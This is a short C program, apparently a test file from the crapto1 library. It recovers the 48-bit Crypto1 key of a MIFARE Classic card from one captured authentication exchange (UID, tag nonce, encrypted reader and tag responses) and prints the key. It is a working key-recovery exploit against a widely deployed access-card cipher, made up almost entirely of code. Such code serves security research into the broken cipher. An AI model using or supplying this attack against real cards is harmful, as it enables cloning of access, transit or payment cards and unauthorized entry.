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Commit	Line	Data
	1	// Test-file: test2.c
	2	#include "crapto1.h"
	3	#include <stdio.h>
	4
	5	int main (int argc, char *argv[]) {
	6	struct Crypto1State *revstate;
	7	uint64_t lfsr;
	8	uint8_t* plfsr = (uint8_t*)&lfsr;
	9	uint32_t uid; // serial number
	10	uint32_t nt; // tag challenge
	11	uint32_t nr_enc; // encrypted reader challenge
	12	uint32_t ar_enc; // encrypted reader response
	13	uint32_t at_enc; // encrypted tag response
	14	uint32_t ks2; // keystream used to encrypt reader response
	15	uint32_t ks3; // keystream used to encrypt tag response
	16
	17	printf("MIFARE Classic key recovery\n\n");
	18
	19	if (argc < 6) {
	20	printf(" syntax: %s <uid> <nt> <{nr}> <{ar}> <{at}>\n\n",argv[0]);
	21	return 1;
	22	}
	23
	24	sscanf(argv[1],"%x",&uid);
	25	sscanf(argv[2],"%x",&nt);
	26	sscanf(argv[3],"%x",&nr_enc);
	27	sscanf(argv[4],"%x",&ar_enc);
	28	sscanf(argv[5],"%x",&at_enc);
	29
	30	printf("Recovering key for:\n");
	31	printf(" uid: %08x\n",uid);
	32	printf(" nt: %08x\n",nt);
	33	printf(" {nr}: %08x\n",nr_enc);
	34	printf(" {ar}: %08x\n",ar_enc);
	35	printf(" {at}: %08x\n",at_enc);
	36
	37	/*
	38	uint32_t uid = 0x9c599b32;
	39	uint32_t tag_challenge = 0x82a4166c;
	40	uint32_t nr_enc = 0xa1e458ce;
	41	uint32_t reader_response = 0x6eea41e0;
	42	uint32_t tag_response = 0x5cadf439;
	43	*/
	44	// Generate lfsr succesors of the tag challenge
	45	printf("\nLFSR succesors of the tag challenge:\n");
	46	printf(" nt': %08x\n",prng_successor(nt, 64));
	47	printf(" nt'': %08x\n",prng_successor(nt, 96));
	48
	49	// Extract the keystream from the messages
	50	printf("\nKeystream used to generate {ar} and {at}:\n");
	51	ks2 = ar_enc ^ prng_successor(nt, 64);
	52	ks3 = at_enc ^ prng_successor(nt, 96);
	53	printf(" ks2: %08x\n",ks2);
	54	printf(" ks3: %08x\n",ks3);
	55
	56	revstate = lfsr_recovery64(ks2, ks3);
	57	lfsr_rollback_word(revstate, 0, 0);
	58	lfsr_rollback_word(revstate, 0, 0);
	59	lfsr_rollback_word(revstate, nr_enc, 1);
	60	lfsr_rollback_word(revstate, uid ^ nt, 0);
	61	crypto1_get_lfsr(revstate, &lfsr);
	62	printf("\nFound Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[5],plfsr[4],plfsr[3],plfsr[2],plfsr[1],plfsr[0]);
	63	crypto1_destroy(revstate);
	64
	65	return 0;
	66	}